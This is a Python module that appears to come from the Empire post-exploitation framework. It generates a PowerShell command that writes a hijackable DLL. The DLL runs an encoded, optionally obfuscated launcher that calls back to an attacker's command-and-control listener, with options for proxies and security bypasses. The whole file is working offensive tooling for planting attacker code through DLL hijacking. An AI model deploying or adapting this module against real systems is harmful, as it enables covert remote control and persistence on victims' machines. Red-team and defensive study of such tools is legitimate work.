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write_dllhijacker.py
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write_dllhijacker.py
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from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
class Module:
@staticmethod
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
# staging options
if (params["Obfuscate"]).lower() == "true":
launcher_obfuscate = True
else:
launcher_obfuscate = False
launcher_obfuscate_command = params["ObfuscateCommand"]
module_name = "Write-HijackDll"
# read in the common module source code
script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
)
if err:
return handle_error_message(err)
script_end = ";" + module_name + " "
# extract all of our options
listener_name = params["Listener"]
user_agent = params["UserAgent"]
proxy = params["Proxy"]
proxy_creds = params["ProxyCreds"]
# generate the launcher code
launcher = main_menu.stagers.generate_launcher(
listenerName=listener_name,
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
bypasses=params["Bypasses"],
)
if launcher == "":
return handle_error_message("[!] Error in launcher command generation.")
else:
out_file = params["DllPath"]
script_end += ' -Command "%s"' % (launcher)
script_end += " -DllPath %s" % (out_file)
outputf = params.get("OutputFunction", "Out-String")
script_end += (
f" | {outputf} | "
+ '%{$_ + "`n"};"`n'
+ str(module.name.split("/")[-1])
+ ' completed!"'
)
script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
obfuscation_command=obfuscation_command,
)
return script